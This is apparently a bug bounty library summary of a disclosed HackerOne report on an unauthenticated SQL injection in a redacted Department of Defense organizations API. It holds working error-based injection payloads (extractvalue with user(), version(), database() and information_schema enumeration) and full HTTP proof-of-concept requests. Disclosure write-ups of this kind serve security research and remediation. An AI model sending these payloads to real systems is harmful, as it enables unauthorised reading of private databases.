# Unauthenticated SQL Injection at █████████ [HtUS]

Unauthenticated SQL injection in DoD API /api/organizations/* via unescaped path segment; error-based extraction leaked DB user, version, database name and schema.

- Payout: hidden
- Severity: critical
- Program: U.S. Dept Of Defense
- Found by: 0xd0ff9
- Disclosed: 2022-10-14
- Write-up quality: 6/10
- Original: https://hackerone.com/reports/1626226
- Library page: https://bugbountylibrary.com/r/h1%3A1626226
- Tags: area:web domain:api domain:web impact:data-leak kind:bounty platform:hackerone sev:critical tech:rest technique:source-review vuln:sqli

**Target:** REST API endpoint /api/organizations/* backed by Prisma raw query on MySQL
**Root cause:** The organization identifier path segment is concatenated into a raw SQL query (prisma.queryRaw) without filtering or escaping, so a single quote breaks out of the string literal.
**Steps:**
1. Send `GET /api/organizations/0010jdlwix09k'or(extractvalue(rand(),concat(0x3a,(select+user()))))=1--%20aa HTTP/1.1` to the host
2. Observe 500 with Prisma P2010 raw query failure and MySQL `XPATH syntax error: ':<user>'`, leaking user()
3. Swap `user()` for `version()` to leak MySQL 8.0.23
4. Swap for `database()` to leak the database name
5. Enumerate schema with `GET /api/organizations/'or(extractvalue(1,concat(1,(select(table_name)from%20information_schema.tables%20limit%2054,1))))='`
**Exploitation:** Unauthenticated attacker sends crafted path segment; MySQL extractvalue() error message reflects subquery output back in the JSON error body, giving a repeatable error-based extraction channel for arbitrary DB reads.
**Insight:** Prisma raw-query wrappers (queryRaw) surface the underlying MySQL error text in the API response, so a single quote in a path parameter plus extractvalue() turns a 500 into a full error-based exfil channel; probe path segments, not just query strings, for raw concatenation.

## Proof of concept (copied exactly from the original report)

**Unauthenticated SQLi via extractvalue in organizations API**

```
GET /api/organizations/0010jdlwix09k'or(extractvalue(rand(),concat(0x3a,(select+user()))))=1--%20aa HTTP/1.1
Host: ████ 
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 
Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3 
Accept-Encoding: gzip, deflate 
Upgrade-Insecure-Requests: 1 
Sec-Fetch-Dest: document 
Sec-Fetch-Mode: navigate 
Sec-Fetch-Site: none 
Sec-Fetch-User: ?1 
Te: trailers
```

**Data extraction via information_schema tables**

```
GET /api/organizations/'or(extractvalue(1,concat(1,(select(table_name)from%20information_schema.tables%20limit%2054,1))))=' HTTP/1.1
Host: ████ 
User-Agent: Mozilla/5.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 
Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3 
Accept-Encoding: gzip, deflate 
Upgrade-Insecure-Requests: 1 
Sec-Fetch-Dest: document 
Sec-Fetch-Mode: navigate 
Sec-Fetch-Site: none 
Sec-Fetch-User: ?1 
Te: trailers
```

